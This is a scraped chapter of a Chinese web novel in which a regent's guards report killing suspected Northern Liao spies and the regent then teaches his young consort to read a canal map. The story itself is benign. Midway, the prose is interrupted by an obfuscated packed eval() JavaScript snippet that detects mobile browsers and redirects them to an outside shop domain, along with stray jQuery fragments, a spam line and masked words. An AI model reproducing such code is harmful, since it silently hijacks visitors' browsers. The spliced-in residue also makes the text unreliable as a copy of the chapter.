第106章 北辽

作品:《穿成男妃后,竟被权臣娇养成帝后

    夕阳渐沉,咸州码头的江边起了一层薄雾。


    邵良云目光望向逐渐平静的江面,最终落在岸边那条半旧的乌篷船上。


    船头站着的就是赵老四。


    他叹息一声,上前几步,笑道:“老人家,劳烦您渡船,送我去河对岸的邵家坳。”


    ……


    水域下一片暮色,晦暗深沉。


    “娄头儿,咸州码头盯梢的水耗子清了。”


    汉子站在护卫船舷边,声音压得极低:“三个。一个想往主船船底钻,被船下暗桩溺了。一个岸上探头,被我们的人缠进水里,再没浮上来。”


    他神色凝重:“还有一个滑溜得很,腿上中**,钻芦苇荡时一头撞上我。虽说都料理干净了,没惊动官府,可总觉得不对劲。”


    娄洲神色一紧:“说。”


    “那家伙声调短促带着卷舌,不像是咱们的口音。”


    大汉是跟随傅觉止入京多年的遐北府卫,对这种声调熟悉得头皮发麻:“是北边草原那些蛮子学汉话的味儿。”


    娄洲眼神狠厉:“当真有北辽的人?”


    “十有**。”


    按消息来看,敢在陆路水路拦着镇北王的,只能是阙京里那些对王爷辅政心怀不满的朝臣。


    朝中派系林立,意见不一,想来探虚实的绝不止几波人。


    可北辽就算手脚再快,也绝不该摸到大昌腹地的运河里来。


    如今上有北辽,左有西夷,下边的南疆还没完全摆平,这阙京里又有人暗通款曲,不仅要王爷的命,还想着引狼**。


    蠢笨如猪。


    娄洲面沉如水,实在不知该骂什么好。


    “还有一封陆路赵将军的密信。”


    大汉也觉得头痛,此时便递上一支铜管。


    夜色深沉透骨。


    娄洲呼出一口浊气,接过铜管,转身往岸边停泊的主船去了。


    ……


    船舱里暖炉熏香。


    昭南精神劲儿足,坐在案边,看着一卷摊开的厚重图册。


    上面的线弯弯曲曲,是他方才从傅觉止案上翻出来的运河水路图。


    昭南看得叹为观止,图上的水道画作蓝色,不仅有湖泊标记,连绵山


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    势,还有细小的支流密密麻麻。


    他方才沐浴过,身上还带着湿润温和的水汽,唇色被热气蒸得殷红。


    现在趴在书案上认真看着,忽地福至心灵,指尖点在图册上一处蜿蜒的蓝色粗线上:“傅觉止,我们现在在这里对不对?”


    舱内热气氤氲,傅觉止仅披了一件深色的绸缎寝衣,露出紧实的胸膛和一截锁骨。


    他坐在昭南一侧,指尖支着脸,侧首,目光若有似无,一直落在昭南殷红的唇瓣上。


    此时看见肉瓣一张一合,闻言低笑出声。


    傅觉止抬起指尖,修长的骨节磕上昭南耳下的玉铛,声色喑哑:“坐上来,我教教团团。”


    昭南眨眨眼,从案边的图册上抬起眸子。


    身侧之人已经张开手,胸膛宽阔,身上带着沐浴后的水汽,眼底的笑意也温和纵容。


    傅觉止支起了一双长腿,是昭南坐惯了的位置。


    他神情慵懒,后脑枕在梨花木圈椅的后木上,半阖双眼,喉间溢出一声笑:“团团?”


    好似催促。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162667|196599||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明明不坐他身上,也可以说话来着。


    昭南耳朵上攀升热度,随后呲着一口小白牙,慢吞吞地坐上去,用毛绒的后脑勺对着人,最后还不忘犀利评价。


    “你不正经。”


    傅觉止又笑。


    他毫不掩饰,拉下昭南的衣襟,温凉的唇便吻上那截细白的后颈。


    啄吻细碎,不带情欲,只是想贴着,触着,碰着。


    舱内的烛火随着拍打的江浪摇曳。


    傅觉止身形高大,将昭南整个包裹,还有余力圈住人,牵着他的指尖,沿着运河主脉缓缓滑动。


    声音里含着笑,也有些教导的意味:“团团,看水行图,首先要看大势。”


    “自南向北,且贯通南北,此乃国脉。”


    “水流走向,深浅,缓急,决定了船行的难易与速度。”


    他拢着人,碎吻从昭南的后颈上沿到了敏感的耳后肌肤,神色慢条斯理,指尖却不见半分滞涩,点了几处标记着特殊符号的河段。


    “此处河湾宽阔,水流平缓,宜泊船补给。此处河道狭窄,礁石暗布,水流湍急,是为险滩。”


    昭南认真点头,目光追随着傅觉止的指尖,落在一处被朱砂笔圈点,标注着“鬼见愁”三个红字的河段。


    那附近的水道被画得格外曲折狭窄。


    傅觉止眼神沉静,指尖在那处重重点了点:“此处是青州府与济宁府交界的水道咽喉,水下暗礁犬牙交错,水流因山势挤压异常湍急多变。”


    他神色从容,笑着对昭南详细解释:“团团,此行我们需经过此处。”


    昭南垂眼仔细看着,门外又响起了一阵轻叩。


    傅觉止似有预料,倏地抬起眼:“进来。”